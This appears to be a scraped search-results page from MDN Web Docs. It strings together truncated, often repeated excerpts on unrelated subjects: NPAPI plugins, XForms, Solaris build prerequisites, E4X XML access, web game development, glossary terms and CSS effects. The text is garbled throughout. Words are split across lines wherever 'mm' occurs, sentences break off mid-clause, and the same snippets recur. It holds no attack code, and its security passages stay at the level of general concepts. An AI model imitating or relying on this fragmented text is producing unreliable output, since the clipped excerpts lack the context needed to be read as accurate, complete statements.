mmediate <frameset> parent of the plug-in instance's document. if the plug-in instance's document has no parent, the default is _self. _top: load the link into the p...
...p server method get, which requests url objects. use npn_geturlnotify() instead of npn_geturl() in these cases: to request a stream and receive notification of the result. if the buffer contains header information (even a blank line). make sure that the target matches the url type sent to it. for example, a null target does not make sense for some url types (such as mailto). the following reco
mmendations about target choice apply to other methods that handle urls as well. if the target parameter refers to the window or frame containing the current plug-in instance, the instance is destroyed and the plug-in may be unloaded. if target is null, the application creates a new stream and delivers the data to the plug-in instance, through calls to npp_newstream(), npp_writeready() and npp_write...
Plugins - Archive of obsolete content
that may be helpful. more information about these tools can be found on the external resources page. plugins are different from extensions, which modify or enhance the functionality of the browser itself. plugins are also different from search plugins, which plug additional search engines in the search bar. gecko plugin api reference (npapi) this reference describes the application progra
mming interfaces for npapi plugins and provides information about how to use these interfaces. site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature. scripting plugins (npruntime) this reference describes the new cross-browser npapi extensions that let plugins be script...
... provided. monitoring plugins use an observer service notification to monitor the amount of time spent executing calls in plugins. this can be useful when trying to determine if a plug-in is consuming too many resources. scripting plugins: macromedia flash this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fsco
mmands can be used to access javascript functions from within the flash animation. plugins: the first install problem the first install problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. plugins: samples and test cases npapi plugin samples and test cases. external resources for p...
...on external projects, frameworks, and blog posts that may be useful. ...
Slash - Archive of obsolete content
getting started a guided tutorial that will help you get started with the rss slash module. the rss slash module is popular among slash based blogs and blogs imitating the feel for slashdot. slash is the engine behind the famous slashdot. ...
...ule is popular among slash based blogs and blogs imitating the feel for slashdot. slash is the engine behind the famous slashdot. documentation selected articles up to 10 why rss slash is popular: counting your co
mments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your co
mments (2005-08-22). ...
... selected articles up to 10 why rss slash is popular: counting your co
mments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your co
mments (2005-08-22). ...
SAX - Archive of obsolete content
starting with firefox 2, a sax parser is available to xul applications and extensions. for more information, please see sax homepage. quick start the sax parser functionality is available through the xml reader component. ...
... nsisaxcontenthandler receive notification of the logical content of a document (e.g. elements, attributes, whitespace, and processing instructions). nsisaxdtdhandler receive notification of basic dtd-related events. nsisaxerrorhandler receive notification of errors in the input stream. nsisaxlexicalhandler sax2 extension handler for lexical events (e.g. ...
...tributes, whitespace, and processing instructions). nsisaxdtdhandler receive notification of basic dtd-related events. nsisaxerrorhandler receive notification of errors in the input stream. nsisaxlexicalhandler sax2 extension handler for lexical events (e.g. co
mment and cdata nodes, dtd declarations, and entities). ...
Security Controls - Archive of obsolete content
system has a known vulnerability that attackers could exploit, the system should be patched so that the vulnerability is removed or mitigated. second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary. this principle is known as least privilege. limiting functionality and resolving security weaknesses have a co
mmon goal: give attackers as few opportunities as possible to breach a system. there are three types of security controls, as follows: management controls: the security controls that focus on the management of risk and the management of information system security. operational controls: the security controls that are primarily implemented and executed by people (as opposed to systems). technic...
...an acceptable use policy that specifies the conduct of users, including not visiting malicious websites. security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs of phishing activity. a co
mmon problem with security controls is that they often make systems less convenient or more difficult to use. when usability is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. balancing security, functionality, and usability is often a challenge. the goal should be to strike a proper balance: provide...
...nd os patching. the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat from successfully breaching the system. a combination of network-based and host-based controls is generally most effective at providing consistent protection. original document information author(s): u.s. department of co
mmerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last updated date: march 2006 copyright information: this document is not subject to copyright. original document information author(s): karen scarfone, wayne jansen, and miles tracy title: nist special publication 800-123, guide to general s...
Vulnerabilities - Archive of obsolete content
need to know how difficult it is for someone to exploit each vulnerability and, if a vulnerability is exploited, what the possible impact would be. website vulnerabilities owasp or open web security project is a non-profit charitable organization focused on improving the security of software and web applications. ...
... 1. sql injections 2. cross site scripting (xss) 3. broken authentication & session management 4. insecure direct object references - dom (document object model) 5. ...
... 1. sql injections 2. cross site scripting (xss) 3. broken authentication & session management 4. insecure direct object references - dom (document object model) 5. security misconfiguration 6. ...
Solaris 10 Build Prerequisites - Archive of obsolete content
optional software jds co
mmon build environment (cbe). provides build tools needed by some open-source projects (eg gnome). the tools included with solaris and sun studio should be sufficient for building mozilla, so you can skip this. the installer must install additional sun-provided packages from the os install dvd, so that dvd has to be available. the installer will try to install the sunwsmbas package, which is not available in newer versions of sxde. fortunately, it also isn't necessary, so you can fix this problem by simply removing the reference to that package from the installer script (cbe-install). ...
...vided packages from the os install dvd, so that dvd has to be available. the installer will try to install the sunwsmbas package, which is not available in newer versions of sxde. fortunately, it also isn't necessary, so you can fix this problem by simply removing the reference to that package from the installer script (cbe-install). the installer may tell you your c compiler is not the reco
mmended compiler, but the compiler you installed will work fine, so you should tell the installer to use the compiler anyway. run . /opt/jdsbld/bin/env.sh to import the jds cbe settings into your environment. build environment 1. install sun studio 12 or sun studio 11 with a patch to avoid a compiler bug. 2. install cbe. make some changes to /opt/jdsbld/bin/env.sh. --- env.sh.orig tue jul ...
...ting ld=$ld export ld -path="$cbe_prefix/bin:/usr/ccs/bin:/usr/gnu/bin:/usr/bin:/usr/sbin:/bin:/usr /sfw/bin:$ccdir" +path="/opt/sfw/bin:$cbe_prefix/bin:/usr/ccs/bin:/usr/gnu/bin:/usr/bin:/usr/s bin:/bin:/usr/sfw/bin:$ccdir" test "x$jds_cbe_env_quiet" != x1 && \ echo setting path=$path export path +export pkg_config_path=/opt/sfw/lib/pkgconfig:/usr/lib/pkgconfig 3. replace the co
mmands in cbe that don't work on solaris 10. % cd /opt/jdsbld/bin % mv make make.bak % ln -s /usr/sfw/bin/gmake make % mv ls ls.bak % ln -s /usr/bin/ls ls 4. checkout the desktop spec files for branch gnome-2-20. % svn co svn+ssh://anon at svn dot opensolaris dot org/svn/jds/spec-files/branches/gnome-2-20 5. unpack the extra spec file tarball to the spec file directory. % cd gnome-2-20 % gtar jxvf f...
Theme changes in Firefox 4 - Archive of obsolete content
xample, my_theme). inside that, create another new directory chrome. now copy all of the directories from omni.jar mentioned above into it. then copy all of icon.png, install.rdf and preview.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme. ...
...reate another new directory chrome. now copy all of the directories from omni.jar mentioned above into it. then copy all of icon.png, install.rdf and preview.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme. ...
.../extensions/{...} into my_theme. finally, you need to create a chrome.manifest file with the contents: skin browser classic/1.0 chrome/browser/ skin co
mmunicator classic/1.0 chrome/co
mmunicator/ skin global classic/1.0 chrome/global/ skin mozapps classic/1.0 chrome/mozapps/ this results in the following structure : /my_theme/chrome/browser/* /my_theme/chrome/co
mmunicator/* /my_theme/chrome/global/* /my_theme/chrome/mozapps/* /my_theme/chrome.manifest /my_theme/icon.png /my_theme/install.rdf /my_theme/preview.png note: for more information (and how to package into a jar) consult creating a skin for firefox which still mostly applies. most likely you must replace all occurences of classic/1.0 in chrome.manifest and install.rdf with some other name. imp...
Using Web Standards in your Web Pages - Archive of obsolete content
"browser makers are no longer the problem. the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while acco
mmodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards. the first 2 sections address exclusively validation issues, benefits of validation, deprecated elements, deprecated attributes. how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing reco
mmendations, tutorials and references. the other sections address dom and dhtml coding practices which are at odds wi...
...the last section offers excellent and best references for those wishing to learn more about upgrading techniques presented in this article and more for those wishing to perfect their web pages. ...
...d in this article. the last section offers excellent and best references for those wishing to learn more about upgrading techniques presented in this article and more for those wishing to perfect their web pages. contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest su
mmary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Accessing XML children - Archive of obsolete content
alue to a child element that doesn't exist will create that element. var element1 = <foo/> element1.bar = 1; produces <foo> <bar>1</bar> </foo> if the child node already exists, the . operator allows you to change its value. var elem = <foo> <bar>1</bar> </foo> elem.bar = 2; will replace the previous value of 1 with 2. you can remove a child node by using the delete co
mmand: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the . operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; elem1.bar = elem2; replaces the <bar/> element with all of the content in ...
...ement list[1]; // the second bar element notice further that this list is "live" in the sense that changes made to the list are reflected back in the element that the list originally came from. ...
...ment to read <foo> <bar baz="1">red</bar> <bar baz="2">green</bar> </foo> special types of nodes xml objects have methods for accessing xml lists of certain co
mmon types of nodes as well. var a = <foo> some text <bar>not text</bar> more text </foo>; var list = a.text(); list.length(); // returns 2 list[0]; // returns " some text " list[1]; // returns " more text " you can similarly access co
mment nodes: xml.ignoreco
mments = false; var a = <foo> some <!-- abc --> text </foo>; var co
mments = a.co
mments(); alert(co
mments[0]); // returns <!-- abc --> the * selector will return all child nodes in an xml list. var a = <foo> <bar/> <baz/> </foo>; var list = a.*; list.length(); // returns 2 element attributes many xml elements have attributes with particular valu...
Old Proxy API - Archive of obsolete content
the future. warning: the spidermonkey proxy implementation is a prototype and the proxy api and semantics specifications are unstable. the spidermonkey implementation may not reflect the latest specification draft. it is subject to change anytime. it is provided as an experimental feature. do not rely on it for production code. introduction proxies are objects for which the progra
mmer has to define the semantics in javascript. the default object semantics are implemented in the javascript engine, often written in lower-level languages like c++. proxies let the progra
mmer define most of the behavior of an object in javascript. they are said to provide a meta-progra
mming api. terminology catch-all mechanism (or "intercession api") the technical term for this feature. han...
...) fix: function() -> propertydescriptor map (indexed on property names) | undefined should return an object that maps property names to property descriptors. after a call to fix(), the proxy becomes a regular (non-proxy) object with the properties listed in the return value. the handler is no longer used. moreover, the respective method (freeze(), seal(), or preventextension()) is i
mmediately called on the fixed object. note: the fixed object has the same object identity as the proxy object. if fix() returns undefined, the call throws a typeerror exception. derived traps default implementation refers to the code that is called for that trap when the trap isn't explicitly defined. in these functions, this refers to the handler object. emulated javascr...
... was initialized for an object proxy, and returns function.prototype for a function proxy. typeof typeof anobjectproxy === "object" typeof afunctionproxy === "function" instanceof anobjectproxy instanceof c === true if and only if the prototype with which anobjectproxy was initialized equals or inherits from c.prototype afunctionproxy instanceof function === true co
mmon mistakes and misunderstanding when starting using proxies, there are often a few beginners' mistakes and misunderstandings: not implementing all traps. proxies are, by default, "semanticless" objects. if a trap isn't implemented, then if it's a derived trap, the default implementation is used. however, if a fundamental trap is unimplemented, then a call to this trap will throw a typeerror. ...
XForms Input Element - Archive of obsolete content
the default value is 'false'. ...
...the label relative to the checkbox. before shows the label first, then the checkbox, after shows the checkbox, than the label. labelposition was introduced with mozilla xforms 0.8.8. before that, the default behavior was to display the label first, then the checkbox. since the introduction of labelposition, the behavior changed as described above to better match other implementations as well as co
mmonly used gui guidelines. datepicker this widget is similar to a combobox. it consists of a text field for direct user input next to a button that when activated will 'drop down' a calender widget that the user can also interact with (xhtml/xul). characteristics used when the instance node is of type xsd:date or a type derived from it. will not work with xsd:datetime (behavior defaults to text ...
...y similar xhtml or xul widgets. months list this widget is similar to a combo box populated with the sequence of the 12 month names that comprise a year. the names are localized (xhtml only). characteristics used when the instance node is of type xsd:gmonth or a type derived from it. the lexical representation for xsd:gmonth is the left and right truncated lexical representation for xsd:date: --
mm. for example, the value --01 means the month of january. specific handling of attributes incremental - if "true", the bound instance node will be updated when the user selects a value from the list. if "false" or the incremental attribute is omitted on this element then the bound instance node will be updated when the control loses the focus. days list this widget is similar to a combo box pop...
Mozilla XForms User Interface - Archive of obsolete content
ailable for firefox 3.0 (gecko 1.9). there are several possible reasons for this restriction. the first is that the changes required for such controls could not be safely made to firefox 1.5 or firefox 2.0. the second is that the control is introduced in xforms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. ...
... appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the xforms control. three possible values are available to the author: minimal, compact and full. ...
...vel status. if you see xhtml/xul then it means the control is available when xforms is hosted in either xhtml or xul. similarly, if you see xhtml only or xul only, then it means the control is available only in that host language. attribute sets this section describes attributes that are often used on xforms elements. these attributes are combined into following logical groups. ui co
mmon the ui co
mmon attribute set (see the spec) contains the attributes that are available for the xforms elements that are used to build the user interface presentation in a form. appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the xforms control. three possible values are available to the author: minimal, compact and full. generally spea...
XForms - Archive of obsolete content
way to author forms so that they can be displayed by a wide variety of devices. xforms is a w3c specification. xforms tutorial and cookbook xforms in wikibook format - over 50 examples tested with firefox. xforms support can be added to firefox and seamonkey by installing the mozilla xforms extension. this extension, while supporting a significant subset of the xforms 1.0 and 1.1 candidate reco
mmendations, is not actively maintained any more since about 2010. the last official release has been done for firefox 3.6 and is available for download on addons.mozilla.org. for more details about the future of the mozilla xforms extension see this blog post. documentation implementation status implementation status of the mozilla xforms extension building ...
...s.mozilla.org. for more details about the future of the mozilla xforms extension see this blog post. documentation implementation status implementation status of the mozilla xforms extension building get started with building your own xforms extensions from source. troubleshooting tips for xforms a small collection of tips for troubleshooting co
mmon problems with xforms forms. mozilla xforms specials explains where, and how, mozilla xforms deviates or extends the xforms 1.0 specification. xforms custom controls custom controls lets the form author "skin" each xforms control through xbl, and create f.x. an svg input control. xforms user preferences a description of the about:con...
... author "skin" each xforms control through xbl, and create f.x. an svg input control. xforms user preferences a description of the about:config variables that xforms uses. xforms api reference xforms interfaces documentation. xforms ui elements reference xforms user interface elements documentation. view all... co
mmunity view mozilla forums... mailing list newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other co
mmunity links... tools xforms validator xforms buddy related topics extensions, html, xhtml, xml, xpath ...
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
learn how to correctly size list item markers in gecko 0.9.4, the basis of netscape 6.2.x and compuserve 7. shortly before mozilla 0.9.4 was finished, a bug was introduced that affects the sizing of list item markers (such as the numbers in an ordered list). while this bug was corrected shortly after 0.9.4 was finished, the bug still affects all netscape 6.2.x versions, as well as compuserve 7.0. the problem in affected browsers, list item markers will very often appear to be too big compared to the text in the list item itself. ...
...lesheet, and accept that the stylesheet in question will never validate. this might also be a place to put any explorer-specific css-like rules (such as scrollbar styling rules), which also will not validate. authors who are not concerned with making sure the rule applies across all namespaces can use a slightly more simplified rule: *:-moz-list-bullet, *:-moz-list-number {font-size: 1em;} reco
mmendations if it is important to make list item markers match the font size of the content, use one of the suggested rules. in situations where validation is a priority, segregate the rule into a separate stylesheet so that the rule will not confuse css validators run against the main stylesheet. related links bug 110360 bug 97351 original document information author(s): eric a. mey...
... it is important to make list item markers match the font size of the content, use one of the suggested rules. in situations where validation is a priority, segregate the rule into a separate stylesheet so that the rule will not confuse css validators run against the main stylesheet. related links bug 110360 bug 97351 original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 04 oct 2002; revised 07 mar 2003 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
XUL Parser in Python - Archive of obsolete content
at particular widgets, at which elements had which attributes, etc. the script writes out all the attributes and none of the values, but the parser itself is seeing the elements, their attributes, and the values of those attributes, and you just have to ask for them if you want them. for example, you could easily adapt this to: return the id values of all the elements take elements on the co
mmand line and only spell them out build new chrome subdirectories (i.e. new "packages") on the fly using search and replace. as i adapt the script in these ways and try to further generalize the actual code as i get time, i will make it available here. in the explanation section below, i try to say a little something about how this script works. it's really just a wrapper around python's xmllib ...
...t's more a matter of choosing an approach and hooking things up than anything else. source code the source code for the xul parser is available. it only runs as a hard-coded script right now, so if you want to use it you have to go in and changes some of the stuff like chrome_dir and which information you want out. it also, i'm afraid, only works on the win32 platform, where the <tt>dir</tt> co
mmand it depends on gets you your xul files. again, you can easily use <tt>ls</tt> instead, as i should have done, and pick up some extra support. i will make these adjustments and change it into a real module when i get a second, so that someone can instantiate the parser from their own scripts and use it more flexibly: >>> import xultool >>> myxp = xulparser() >>> chrome_dir = 'd:\src\mozilla\xpf...
... work. the unknown_starttag handler is fed the tag name, the attributes of that tag, and the attributes' values, so all you have to do as you hit each xul element is build up a nested dictionary of elements and their associated attributes. after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> co
mmand), the dictionary of dictionaries is sorted and written into an html table. the xml namespace support in xmllib was resolving the xul and html namespaces in a very annoying way, so i have an additional function, strip(), that takes off the whole namespace that xmllib is trying to tack onto the front of each item it finds in the xml. some modifications to this script may suggest other uses. th...
Examples - Game development
etris-like hexagonal puzzle game. 2048 a sliding number tiles puzzle game. bananabread a multiplayer, 3d first-person shooter game developed using emscripten, webgl, and webrtc. monster madness a webgl and asm.js-based multiplayer online shooter, developed by nom nom games and trendy entertainment. ...
... win! browserquest a
mmorpg created by the little workshop and mozilla. shoot the rocks a canvas 2d single-player shooter in the style of atari's classic asteroids arcade game from 1979. star citadel a new take on star castle, cinematronics' classic 1980 arcade game, built with canvas 2d. classic platformer canvas 2d game based on `visual-ts game engine` - physics based on matter.js co
mmercial games oort online a
mmo exploration, building, and battle game (currently in development.) a wizard's lizard top down zelda-esque exploration/rpg. qbqbqb a sci-fi themed arcade puzzle game. bullet force 3d multiplayer first-person shooter. elliot quest 8-bit graphic retro adventure game. rpg mo isometric
mmorpg with similarities to runescape classic and ultima. katan.
...html5 and canvas implementation of settlers of catan. pyramid solitaire ancient egypt pyramid solitaire app ported to webassembly with emscripten assorted demos wavegl webgl visualizer for sound sources. canvas airport simulation animated map showing planes taking off and landing at airports, along with flight path patterns. animation physics 3d rendering of terrain and cars, using a
mmo.js for the physics calculations. volumetric particle flow physics simulation of flowing liquid. explosion and chain reaction exploding particles that set off other explosions. canvas generated planet a planet with orbiting asteriod belt. digital fireworks animated firework effects rendered on canvas. autumn falling autumn leaves, with light source shining through. created using three.j...
Introduction to game development for the Web - Game development
status on their phones, tablets, their home laptops, their work desktops, or anything else. web technologies for game developers for the tech folks, let's dig into the apis the web brings to the table that cater to game developers. here's a thorough list to give you a taste of what the web can do for you: full screen api this simple api lets your game take over the entire screen, thereby i
mmersing the player in action. gamepad api if you want your users to be able to use gamepads or other game controllers to work your game, you'll need this api. html and css together, these two technologies let you build, style, and lay out your game's user interface. part of html is the <canvas> element, which provides one way to do 2d graphics. html audio the <audio> element lets you easily p...
...ddb a powerful data storage api for maintaining user data on their own computer or device. a great way to save game state and other information locally so it doesn't have to be downloaded every time it's needed. also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end). javascript javascript, the progra
mming language used on the web, is blazing fast in modern browsers and getting faster all the time. use its power to write the code for your game, or look at using technologies like emscripten or asm.js to easily port your existing games. pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positionin...
...rmat. web audio api this api for controlling the playback, synthesis, and manipulation of audio from javascript code lets you create awesome sound effects as well as play and manipulate music in real time. webgl lets you create high-performance, hardware-accelerated 3d (and 2d) graphics from web content. this is a web-supported implementation of opengl es 2.0. webrtc the webrtc (real-time co
mmunications) api gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users. want your players to be able to talk to each other while blowing up monsters? this is the api for you. websockets the websocket api lets you connect your app or site to a server to transmit data back and forth in real-time. perf...
Building up a basic demo with PlayCanvas - Game development
games and demos playcanvas has a few well-known demos published that showcase its possibilities. ...
...ay to create games and other apps requiring scenes if you're more of a designer than a coder. those approaches are different but work equally well regarding achieving end goals. playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with a
mmo.js), audio, and facilities to handle control inputs from various devices (including gamepads). that's quite an impressive list of features — let's see some in action, check out the building up a basic demo with playcanvas engine for details. playcanvas editor instead of coding everything from the beginning you can also use the online editor. this can be a more pleasant working environment if...
... impressive list of features — let's see some in action, check out the building up a basic demo with playcanvas engine for details. playcanvas editor instead of coding everything from the beginning you can also use the online editor. this can be a more pleasant working environment if you are not someone who likes to code. see the building up a basic demo with playcanvas editor for details. su
mmary of course, it depends on your approach — designers may favor the online editor while progra
mmers will prefer having the full control over the coding environment and will probably use the engine's source files. the good thing is that you have a choice and can pick whatever tools suit you best. ...
3D games on the Web - Game development
arted.) for real-world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on. using a framework for 3d games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself. the most popular javascript 3d library is three.js, a multi-purpose tool that makes co
mmon 3d techniques simpler to implement. there are other popular game development libraries and frameworks worth checking too; a-frame, playcanvas and babylon.js are among the most recognizable ones with rich documentation, online editors and active co
mmunities. building up a basic demo with a-frame a-frame is a web framework for building 3d and vr experiences. under the hood, it is a three.js fra...
...ork with a declarative entity-component pattern, meaning we can build scenes with just html. see the building up a basic demo with a-frame subpage for the step-by-step process of creating the demo. building up a basic demo with babylon.js babylon.js is one of the most popular 3d game engines used by developers. as with any other 3d library, it provides built-in functions to help you implement co
mmon 3d functionality more quickly. see the building up a basic demo with babylon.js subpage for the basics of using babylon.js, including setting up a development environment, structuring the necessary html, and writing the javascript code. building up a basic demo with playcanvas playcanvas is a popular 3d webgl game engine open-sourced on github, with an editor available online and good documen...
...ic demo with three.js subpage for the step-by-step process of creating the demo. other tools both unity and unreal can export your game to webgl with asm.js, so you're free to use their tools and techniques to build games that will be exported to the web. where to go next with this article we just scratched the surface of what's possible with currently available technologies. you can build i
mmersive, beautiful and fast 3d games on the web using webgl, and the libraries and frameworks build on top of it. source code you can find all the source code for this series demos on github. apis canvas api webgl api frameworks three.js whitestorm.js (based on three.js) playcanvas babylon.js a-frame tutorials building up a basic demo with three.js building up a basic demo wit...
Unconventional controls - Game development
but imagine going even further — in this article we will explore various unconventional ways to control your web game, some more unconventional than others. tv remote playing games on a tv screen doesn't always have to be done through consoles. there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further. ...
...unction(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ... } }, this); you can see it in action by watching this video. leap motion have you ever thought about controlling a game only with your hands? it's possible with leap motion, an i
mmersive controller for games and apps. leapmotion is becoming more and more popular due to very good integration with vr headsets — demoing rainbow membrane on an oculus rift with leap motion attached to it was voted one of the best webvr experiences by javascript developers visiting demo booths at conferences around the world. as well as being great for virtual interfaces, it can also be used ...
... and remember: have fun making games! previous overview: control mechanisms ...
Efficient animation for web games - Game development
vascript loops involving window.requestanimationframe. there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. it is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used ui libraries, for example) that they aren’t necessarily co
mmon knowledge. first off, let us discuss some basic ideas. help the browser help you if you are using dom for your ui, which i would certainly reco
mmend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations. though javascript animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game an...
...e animations we start before the frame is processed are synchronised. to save battery life, it is best to only draw when there are things going on, so that would mean calling requestanimationframe (or your refresh function, which in turn calls that) in response to events happening in your game. unfortunately, this makes it very easy to end up drawing things multiple times per frame. we would reco
mmend keeping track of when requestanimationframe has been called and only having a single handler for it. there aren’t solid guarantees of what order things will be called in with requestanimationframe (though, in our experience, it is in the order in which they were requested), so this also helps cut out any ambiguity. an easy way to do this is to declare your own refresh function that sets a fl...
... geeksphone keon). it would have been good to use as much third party software as possible, but most of what we tried was either too complicated for simple use-cases, or had performance issues on mobile. how this conclusion was reached, however, is more important than the conclusion itself. to begin with, the priority was to write the code quickly to iterate on gameplay (and we’d certainly reco
mmend doing this). we assumed that our own, naive code was making the game slower than we would like. to an extent, this was true: we found plenty to optimise in our own code, but it got to the point where we knew what we were doing ought to perform quite well, and it still wasn’t quite there. at this point, we turned to the firefox javascript profiler, and this told us almost exactly what low-han...
Build the brick field - Game development
oup. now we need to add some code inside the nested loop stucture to draw each brick. ...
... the problem currently is that we're painting all the bricks in one place, at coordinates (0,0). ...
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps something i...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
the variable within the expression can not be accessed from outside it. ...
...s soon as it is defined. (function () { statements })(); it is a design pattern which is also known as a self-executing anonymous function and contains two major parts: the first is the anonymous function with lexical scope enclosed within the grouping operator (). this prevents accessing variables within the iife idiom as well as polluting the global scope. the second part creates the i
mmediately invoked function expression () through which the javascript engine will directly interpret the function. examples the function becomes a function expression which is i
mmediately executed. the variable within the expression can not be accessed from outside it. (function () { var aname = "barry"; })(); // variable aname is not accessible from the outside scope aname // throws "uncau...
...ssion can not be accessed from outside it. ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
su
mmary javascript (or "js") is a progra
mming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js. javascript should not be confused with the java progra
mming language. although "java" and "javascript" are trademarks (or registered trademarks) of oracle in the u.s. and other countries, the two progra
mming languages are significantly different in their syntax, semantics, and use cases. javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. ...
... the two progra
mming languages are significantly different in their syntax, semantics, and use cases. javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. javascript is one of the world's most co
mmonly-used languages, owing to the recent growth and performance improvement of apis available in browsers. origins and history conceived as a server-side language by brendan eich (then employed by the netscape corporation), javascript soon came to netscape navigator 2.0 in september 1995. ...
... in november 1996, netscape began working with ecma international to make javascript an industry standard. ...
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
o a function. parameter variables are used to import arguments into functions. note the difference between parameters and arguments: function parameters are the names listed in the function's definition. function arguments are the real values passed to the function. parameters are initialized to the values of the arguments supplied. ...
...into functions. note the difference between parameters and arguments: function parameters are the names listed in the function's definition. function arguments are the real values passed to the function. parameters are initialized to the values of the arguments supplied. two kinds of parameters: input parameters the most co
mmon kind; they pass values into functions. ...
... parameters are initialized to the values of the arguments supplied. two kinds of parameters: input parameters the most co
mmon kind; they pass values into functions. depending on progra
mming language, input parameters can be passed several ways (e.g., call-by-value, call-by-address, call-by-reference). ...
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
public-key cryptography — or asy
mmetric cryptography — is a cryptographic system in which keys come in pairs. the transformation performed by one of the keys can only be undone with the other key. one key (the private key) is kept secret while the other is made public. when used for digital signatures, the private key is used to sign and the public key to verify. this means that anyone can verify a signature, but only the owner of the corresponding private key could have generated it. when used for encryption, the public key is used to encrypt and the private key is used to decrypt. this gives public-key encryption systems an advantage over sy
mmetric encryption systems in that the encryption key can be made public. anyone could encrypt a message to the owner of the private key,...
...en used for encryption, the public key is used to encrypt and the private key is used to decrypt. this gives public-key encryption systems an advantage over sy
mmetric encryption systems in that the encryption key can be made public. anyone could encrypt a message to the owner of the private key, but only the owner of the private key could decrypt it. however, they are typically much slower than sy
mmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages. ...
... encryption systems in that the encryption key can be made public. anyone could encrypt a message to the owner of the private key, but only the owner of the private key could decrypt it. however, they are typically much slower than sy
mmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages. as a result, it's co
mmon for an encryption system to use a sy
mmetric algorithm to encrypt the message, then a public-key system to encrypt the sy
mmetric key. this arrangement can confer the benefits of both systems. co
mmonly used public-key cryptosystems are rsa (for both signing and encryption), dsa (for signing) and diffie-hellman (for key agreement). ...
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
it consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has testable success criteria. wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web content. ...
...it consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has testable success criteria. wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web content. ...
...access the web content. ...
Advanced styling effects - Learn web development
wards, if the value is negative). the third length value is the blur radius — the amount of blurring applied to the shadow. the color value is the base color of the shadow. you can use any length and color units that would make sense to do so to define these values. ...
... active state causes the first box shadow to be swapped for a very dark inset shadow, giving the appearance of the button being pressed in. note: there is another item that can be set in the box-shadow value — another length value can be optionally set just before the color value, which is a spread radius. if set, this causes the shadow to become bigger than the original box. it is not very co
mmonly used, but worth mentioning. filters while you can't change the composure of an image using css, there are some creative things you can do. one very nice property, which can help you bring interest to your designs, is the filter property. this property enables photoshop-like filters right from css. in the example below we have used two different values for filter. the first is blur() — ...
...o change, so your code could break at any time. it is much better to stick to the standards. if you do want to use such features in your production work, make sure to test across browsers thoroughly and check that, where these features don't work, the site is still usable. note: for a full -webkit-background-clip: text code example, see background-clip-text.html (see also the source code). su
mmary we hope this article was fun — playing with shiny toys generally is, and it is always interesting to see what kinds of advanced styling tools are becoming available in modern browsers. ...
Sizing items in CSS - Learn web development
